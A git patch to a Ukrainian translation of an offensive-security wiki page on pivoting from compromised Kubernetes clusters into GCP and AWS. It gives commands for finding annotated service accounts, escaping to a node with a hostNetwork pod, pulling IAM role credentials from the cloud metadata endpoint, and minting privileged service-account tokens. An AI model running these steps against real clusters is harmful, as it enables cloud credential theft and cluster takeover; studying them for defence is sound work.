From 3247e18be3ae36b5178b65a65d78aa1ab8fae9fa Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:02:25 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv --- .../kubernetes-pivoting-to-clouds.md | 126 ++++++++++-------- 1 file changed, 73 insertions(+), 53 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 1a54ba358..f7d3ea435 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Якщо ви запускаєте кластер k8s всередині GCP, ви, напевно, захочете, щоб деякий додаток, що працює всередині кластера, мав доступ до GCP. Є 2 поширених способи зробити це: +Якщо ви запускаєте k8s cluster всередині GCP, ймовірно ви захочете, щоб деякий додаток у кластері мав доступ до GCP. Існує 2 поширених способи це зробити: -### Монтування ключів GCP-SA як секрету +### Mounting GCP-SA keys as secret -Поширений спосіб надати **доступ до kubernetes-додатку до GCP**: +Поширений спосіб надати **access to a kubernetes application to GCP** — це: -- Створити обліковий запис служби GCP -- Прив'язати до нього необхідні дозволи -- Завантажити json-ключ створеного SA -- Замонтувати його як секрет всередині пода -- Встановити змінну середовища GOOGLE_APPLICATION_CREDENTIALS, що вказує на шлях, де знаходиться json. +- Create a GCP Service Account +- Bind on it the desired permissions +- Download a json key of the created SA +- Mount it as a secret inside the pod +- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. > [!WARNING] -> Тому, як **зловмисник**, якщо ви скомпрометували контейнер всередині пода, вам слід перевірити цю **змінну** **середовища** та **json** **файли** з обліковими даними GCP. +> Тому, як **attacker**, якщо ви компрометуєте контейнер всередині pod, вам слід перевірити наявність цієї **env** **variable** та **json** **files** з обліковими даними GCP. -### Прив'язка GSA json до KSA секрету +### Relating GSA json to KSA secret -Спосіб надати доступ до GSA для кластера GKE - це прив'язати їх таким чином: +Спосіб надати GSA доступ до GKE cluster — пов'язати їх таким чином: -- Створити обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE, використовуючи наступну команду: +- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- Створіть Kubernetes Secret, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка `gcloud`, як показано в наступному прикладі: +- Створіть Kubernetes Secret, який містить облікові дані сервісного облікового запису GCP, якому ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка `gcloud`, як показано в наведеному прикладі: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Прив'яжіть Kubernetes Secret до облікового запису служби Kubernetes за допомогою наступної команди: +- Прив'яжіть Kubernetes Secret до Kubernetes service account за допомогою наступної команди: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> На **другому етапі** були встановлені **облікові дані GSA як секрет KSA**. Тоді, якщо ви можете **прочитати цей секрет** з **всередині** кластеру **GKE**, ви можете **ескалювати до цього облікового запису служби GCP**. +> У **другому кроці** було встановлено **credentials of the GSA as secret of the KSA**. Тож, якщо ви можете **read that secret** з **середини** **GKE** кластера, ви можете **escalate to that GCP service account**. ### GKE Workload Identity -З Workload Identity ми можемо налаштувати [обліковий запис служби Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/), щоб він діяв як [обліковий запис служби Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Поди, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис служби Google при доступі до API Google Cloud. +За допомогою Workload Identity ми можемо налаштувати a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) так, щоб він діяв як a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods, що працюють з Kubernetes service account, автоматично автентифікуються як Google service account при доступі до Google Cloud APIs. -**Перший рядок кроків** для активації цієї поведінки - це **активувати Workload Identity в GCP** ([**кроки**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) та створити GCP SA, який ви хочете, щоб k8s представляв. +The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate. -- **Активуйте Workload Identity** на новому кластері +- **Enable Workload Identity** на новому кластері ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Створити/Оновити новий пул вузлів** (Кластери Autopilot не потребують цього) +- **Створити/Оновити новий nodepool** (Autopilot clusters не потребують цього) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Створіть **GCP обліковий запис служби для наслідування** з K8s з дозволами GCP: +- Створіть **GCP Service Account to impersonate** з K8s з дозволами GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Підключіться** до **кластера** та **створіть** **обліковий запис служби** для використання +- **Підключіться** до **cluster** та **створіть** **service account** для використання ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \ --namespace testing \ iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com ``` -- Запустіть **pod** з **KSA** та перевірте **доступ** до **GSA:** +- Запустіть **pod** з **KSA** і перевірте **access** до **GSA:** ```bash # If using Autopilot remove the nodeSelector stuff! echo "apiVersion: v1 @@ -123,10 +123,10 @@ gcloud auth list gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json ``` > [!WARNING] -> Як атакуючий всередині K8s, ви повинні **шукати SAs** з **анотацією `iam.gke.io/gcp-service-account`**, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Іншим варіантом було б спробувати зловживати кожним KSA в кластері та перевірити, чи має він доступ.\ -> З GCP завжди цікаво перерахувати зв'язки та дізнатися, **який доступ ви надаєте SAs всередині Kubernetes**. +> Як атакуючий всередині K8s вам слід **шукати SAs** з **`iam.gke.io/gcp-service-account` анотацією**, оскільки це вказує, що SA може отримати доступ до чогось у GCP. Інший варіант — спробувати зловживати кожним KSA в кластері й перевірити, чи має він доступ.\ +> З боку GCP завжди корисно перерахувати bindings і знати, **який доступ ви надаєте SAs всередині Kubernetes**. -Це скрипт для легкого **ітерації по всіх визначеннях подів**, **шукаючи** цю **анотацію**: +Це скрипт, який дозволяє легко **перебирати всі визначення pods**, **шукаючи** ту **анотацію**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account" ``` ## AWS -### Kiam & Kube2IAM (IAM роль для Pods) +### Kiam & Kube2IAM (IAM role for Pods) -Застарілий спосіб надання IAM ролей Pods - це використання [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **сервера.** В основному, вам потрібно запустити **daemonset** у вашому кластері з **привілейованою IAM роллю**. Цей daemonset буде тим, хто надасть доступ до IAM ролей pods, які цього потребують. +Старий спосіб надати Pods IAM Roles — використовувати [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** По суті, вам потрібно запустити **daemonset** у вашому кластері з **kind of privileged IAM role**. Цей daemonset надаватиме доступ до IAM roles тим Pods, яким це необхідно. -По-перше, вам потрібно налаштувати **які ролі можуть бути доступні всередині простору імен**, і ви робите це за допомогою анотації всередині об'єкта простору імен: +Насамперед потрібно налаштувати **which roles can be accessed inside the namespace**, і це робиться за допомогою annotation всередині namespace object: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Якщо простір імен налаштований з IAM ролями, які можуть мати Pods, ви можете **вказати роль, яку ви хочете в кожному визначенні pod, за допомогою чогось на зразок**: +Після того як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете **вказати роль, яку ви хочете на кожному pod definition, наприклад**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Як атакуючий, якщо ви **знайдете ці анотації** в подах або просторах імен, або сервер kiam/kube2iam, що працює (ймовірно, в kube-system), ви можете **вдаватись в будь-яку р**оль, яка вже **використовується подами**, і більше (якщо у вас є доступ до облікового запису AWS, перерахувати ролі). +> Як атакуючий, якщо ви **знайдете ці анотації** в pods або namespaces або якщо запущено сервер kiam/kube2iam (ймовірно в kube-system), ви можете **видавати себе за кожну роль**, яку вже **використовують pods**, і більше (якщо у вас є доступ до AWS — перелічіть roles). -#### Створити Pod з IAM роллю +#### Create Pod with IAM Role > [!NOTE] -> IAM роль, яку потрібно вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати можливість доступу до неї. +> IAM role, яку потрібно вказати, має бути в тому ж AWS account, що й роль kiam/kube2iam, і ця роль має мати до неї доступ. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role для K8s Service Accounts через OIDC +### IAM Role for K8s Service Accounts via OIDC Це **рекомендований спосіб від AWS**. -1. По-перше, вам потрібно [створити OIDC провайдер для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Потім ви створюєте IAM роль з дозволами, які буде вимагати SA. -3. Створіть [відносини довіри між IAM роллю та SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (або просторами імен, які надають доступ до ролі всім SA в просторі імен). _Відносини довіри в основному перевірятимуть ім'я OIDC провайдера, ім'я простору імен та ім'я SA_. -4. Нарешті, **створіть SA з анотацією, що вказує ARN ролі**, і контейнери, що працюють з цим SA, матимуть **доступ до токена ролі**. **Токен** **записується** в файл, а шлях вказується в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (за замовчуванням: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. По-перше, потрібно [створити провайдера OIDC для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Після цього створіть IAM роль з дозволами, які знадобляться SA. +3. Створіть [доверчі відносини між IAM роллю та SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) за ім'ям (або між роллю та неймспейсами, що надають доступ усім SA в неймспейсі). _Доверчі відносини в основному перевіряють ім'я OIDC провайдера, ім'я namespace та ім'я SA_. +4. Нарешті, **створіть SA з анотацією, яка вказує ARN ролі**, і поди, що працюють під цим SA, матимуть **доступ до токена ролі**. **Токен** **записується** у файл, а шлях вказано в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (за замовчуванням: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Як атакуючий, якщо ви можете перерахувати кластер K8s, перевірте **облікові записи служб з цією анотацією**, щоб **ескалювати до AWS**. Для цього просто **exec/create** **pod**, використовуючи один з **привілейованих облікових записів служб IAM**, і вкрадіть токен. +> Як атакуючий, якщо ви можете перерахувати K8s кластер, перевірте наявність **service accounts with that annotation** щоб **escalate to AWS**. Для цього просто **exec/create** **pod** використовуючи один з IAM **privileged service accounts** і вкрадіть token. > -> Більше того, якщо ви всередині pod, перевірте змінні середовища, такі як **AWS_ROLE_ARN** та **AWS_WEB_IDENTITY_TOKEN.** +> Крім того, якщо ви всередині pod, перевірте env variables такі як **AWS_ROLE_ARN** та **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Іноді **Політика довіри ролі** може бути **погано налаштована**, і замість того, щоб надати доступ до AssumeRole очікуваному обліковому запису служби, вона надає його **всім обліковим записам служб**. Тому, якщо ви здатні записати анотацію на контрольованому обліковому записі служби, ви можете отримати доступ до ролі. +> Іноді **Turst Policy of a role** може бути **bad configured** і замість надання AssumeRole доступу очікуваному service account, воно надається **all the service accounts**. Тому, якщо ви можете записати annotation у контрольований service account, ви зможете отримати доступ до role. > -> Перевірте **наступну сторінку для отримання додаткової інформації**: +> Перегляньте **following page for more information**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Знайти Pods a SAs з IAM ролями в кластері +### Знайти Pods та SAs з IAM Roles у кластері -Це скрипт для легкого **ітерації по всіх pod і визначення sas**, **шукаючи** цю **анотацію**: +Це скрипт для простого **iterate over the all the pods and sas** definitions **looking** for that **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### Node IAM Role to cluster-admin -Попередній розділ стосувався того, як вкрасти IAM ролі за допомогою подів, але зверніть увагу, що **вузол** K8s кластера буде **екземпляром всередині хмари**. Це означає, що вузол, ймовірно, **матиме нову IAM роль, яку ви можете вкрасти** (_зверніть увагу, що зазвичай всі вузли K8s кластера мають однакову IAM роль, тому може не мати сенсу перевіряти кожен вузол_). +Попередній розділ розповідав про те, як вкрасти IAM Roles за допомогою pods, але зауважте, що **Node of the** K8s cluster фактично є **instance inside the cloud**. Це означає, що Node, швидше за все, матиме **IAM role you can steal** (_зауважте, що зазвичай усі nodes K8s кластера матимуть однаковий IAM role, тож може не мати сенсу перевіряти кожний node_). -Однак є важлива вимога для доступу до метаданих з вузла, вам потрібно бути на вузлі (ssh сесія?) або принаймні мати ту ж мережу: +Щоб отримати доступ до node metadata endpoint, вам потрібно: +- Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша неправильна конфігурація, оскільки зазвичай різні pods у кластері потребують доступу до metadata endpoint, щоб не ламатися, і декілька компаній просто дозволяють доступ до metadata endpoint для всіх pods у кластері. +- Бути в pod з увімкненим `hostNetwork`. +- Втекти з контейнера на node і напряму звернутися до metadata endpoint. + +(Зауважте, що metadata endpoint завжди знаходиться за адресою 169.254.169.254). + +Щоб **escape to the node** ви можете використати наступну команду, щоб запустити pod з увімкненим `hostNetwork`: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Вкрасти токен IAM ролі +### Steal IAM Role Token -Раніше ми обговорювали, як **прикріпити IAM ролі до Pods** або навіть як **втекти до вузла, щоб вкрасти IAM роль**, яку екземпляр має прикріпленою до нього. +Раніше ми обговорювали, як **attach IAM Roles to Pods** або навіть як **escape to the Node to steal the IAM Role**, який прикріплений до інстансу. -Ви можете використовувати наступний скрипт, щоб **вкрасти** ваші нові важко зароблені **облікові дані IAM ролі**: +Ви можете використати наступний скрипт, щоб **steal** ваші нові важко здобуті **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` +### Privesc to cluster-admin + +У підсумку: якщо можливо отримати доступ до **EKS Node IAM role** з pod, то можливо **compromise the full kubernetes cluster**. + +Для детальнішої інформації перегляньте [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Коротко, стандартна IAM EKS роль, яка призначається EKS nodes за замовчуванням, всередині має роль `system:node` в межах kubernetes cluster. Ця роль дуже цікава, хоча обмежена kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). + +Однак node завжди може **generate tokens for service accounts**, що працюють у pods всередині node. Тому, якщо node запускає pod з привілейованим service account, node може згенерувати token для цього service account і використати його, щоб impersonate цей service account, як у: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` ## Посилання - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)